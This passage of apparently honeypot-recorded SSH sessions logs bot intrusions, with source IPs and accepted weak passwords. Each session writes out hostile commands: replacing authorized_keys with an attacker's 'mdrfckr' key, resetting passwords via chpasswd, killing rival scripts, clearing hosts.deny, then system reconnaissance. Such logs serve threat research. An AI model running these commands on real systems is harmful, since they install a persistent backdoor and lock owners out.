-l"},{"seq":4,"at":"2026-08-27T13:52:20.429299+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:52:21.265585+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZUKjkqecZaLE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:52:22.102073+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:52:22.522149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:52:22.954550+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:52:24.341957+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:52:25.192474+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:52:26.680214+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:52:27.617207+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:52:29.762411+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:52:30.614200+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:52:32.326476+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:52:33.310636+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:52:34.130062+00:00","kind":"output","latency_ms":null,"data":" 13:52:34 up 7 days, 10:42, 0 user, load average: 0.28, 0.23, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:52:34.971600+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:52:36.618804+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:52:37.452401+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:52:39.454474+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:52:40.289655+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:52:41.178012+00:00","kind":"output","latency_ms":null,"data":"top - 13:52:41 up 7 days, 10:42, 0 user, load average: 0.28, 0.23, 0.24\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:52:42.013656+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:52:44.050771+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:52:44.891156+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:52:47.046627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:52:47.883388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:52:49.242282+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:52:50.079519+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:52:51.019132+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:52:51.858605+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:52:53.843218+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"0077","method":"password","accepted":true,"tier":"other"}]} {"id":"d35905db-dc88-46cb-bf64-12db1386a69a","name":"loyal-jaunty-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54154,"username":"terraria","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":343,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:52:14.024949+00:00","ended_at":"2026-08-27T13:52:14.976452+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2077,"events":[{"seq":1,"at":"2026-08-27T13:51:53.905585+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:51:54.591285+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:51:59.192117+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:51:59.587228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:51:59.928416+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nVD4stg0kRV9Y\\nVD4stg0kRV9Y\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:52:00.394121+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nVD4stg0kRV9Y\\nVD4stg0kRV9Y\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:52:00.837525+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:52:01.370672+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:52:01.713811+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:52:03.168815+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:52:03.512883+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:52:04.467756+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:52:04.916081+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:52:05.166424+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:52:05.700455+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:52:06.101175+00:00","kind":"output","latency_ms":null,"data":" 13:52:06 up 7 days, 10:42, 0 user, load average: 0.03, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:52:06.442678+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:52:06.713410+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:52:07.054070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:52:07.932724+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:52:08.406800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:52:08.946704+00:00","kind":"output","latency_ms":null,"data":"top - 13:52:08 up 7 days, 10:42, 0 user, load average: 0.03, 0.02, 0.02\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:52:09.471076+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:52:10.031185+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:52:10.378761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:52:11.054339+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:52:11.394896+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:52:11.689040+00:00","kind":"output","latency_ms":null,"data":"terraria"},{"seq":29,"at":"2026-08-27T13:52:12.227744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:52:13.685297+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:52:14.025910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:52:14.884013+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"terraria","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"4e0ea59e-fb0d-4c7f-b6f3-6e1706d64a1e","name":"plush-fickle-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":40842,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":836,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:50:56.424213+00:00","ended_at":"2026-08-27T13:50:58.096000+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T13:50:27.757510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:50:28.593567+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:50:35.271654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:50:35.572247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:50:36.422544+00:00","kind":"input","latency_ms":null,"data":"echo \"root:gX0AepmkI9ya\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:50:37.259086+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:50:38.105124+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:50:38.573195+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:50:39.410809+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:50:40.228313+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:50:41.070921+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:50:41.975194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:50:42.810774+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:50:43.508364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:50:44.344649+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:50:44.793087+00:00","kind":"output","latency_ms":null,"data":" 13:50:44 up 7 days, 10:40, 0 user, load average: 0.03, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:50:45.628241+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:50:46.322795+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:50:47.157601+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:50:47.722799+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:50:48.567094+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:50:49.199437+00:00","kind":"output","latency_ms":null,"data":"top - 13:50:49 up 7 days, 10:40, 0 user, load average: 0.03, 0.04, 0.03\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:50:50.038380+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:50:50.413521+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:50:51.250683+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:50:51.716627+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:50:52.552697+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:50:52.959019+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:50:53.793760+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:50:55.591162+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:50:56.425204+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:50:57.825267+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"water123","method":"password","accepted":true,"tier":"other"}]} {"id":"512689b9-0866-4622-8b74-f092570cdfcd","name":"faded-nimble-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":60362,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":339,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:49:19.683670+00:00","ended_at":"2026-08-27T13:49:21.107205+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T13:49:03.859531+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:49:04.196656+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:49:09.409625+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:49:09.410064+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:49:09.750207+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bTmMCYzUCB6r\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:49:10.086965+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:49:10.423305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:49:10.423873+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:49:10.760898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:49:11.281119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:49:11.619621+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:49:12.178576+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:49:12.642717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:49:12.645116+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:49:12.977793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:49:12.978294+00:00","kind":"output","latency_ms":null,"data":" 13:49:12 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:49:13.314738+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:49:13.315240+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:49:13.776298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:49:13.778114+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:49:14.115316+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:49:14.841245+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:14 up 7 days, 10:39, 0 user, load average: 0.33, 0.32, 0.29\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:49:15.232731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:49:16.048546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:49:16.384635+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:49:16.690270+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:49:17.031856+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:49:17.674335+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:49:18.207591+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:49:19.095185+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:49:19.684415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:49:20.806392+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1a2b3c4d","method":"password","accepted":true,"tier":"other"}]} {"id":"0a096a81-70b7-4de7-9ece-55164067846e","name":"pristine-ashen-hornbill","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":44912,"username":"user10","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":830,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:49:09.457236+00:00","ended_at":"2026-08-27T13:49:11.898519+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2082,"events":[{"seq":1,"at":"2026-08-27T13:48:39.231137+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:48:40.056856+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:48:47.152670+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:48:47.572755+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:48:48.406751+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nMoENwCHQDIPS\\nMoENwCHQDIPS\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:48:49.236678+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nMoENwCHQDIPS\\nMoENwCHQDIPS\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:48:50.075599+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:48:50.450599+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:48:51.297064+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:48:52.736521+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:48:53.566191+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:48:54.920510+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:48:55.751190+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:48:56.201784+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:48:57.032101+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:48:57.879163+00:00","kind":"output","latency_ms":null,"data":" 13:48:57 up 7 days, 10:39, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:48:58.710180+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:48:59.481495+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:49:00.311313+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:49:00.779015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:49:01.603523+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:49:02.041172+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:02 up 7 days, 10:39, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 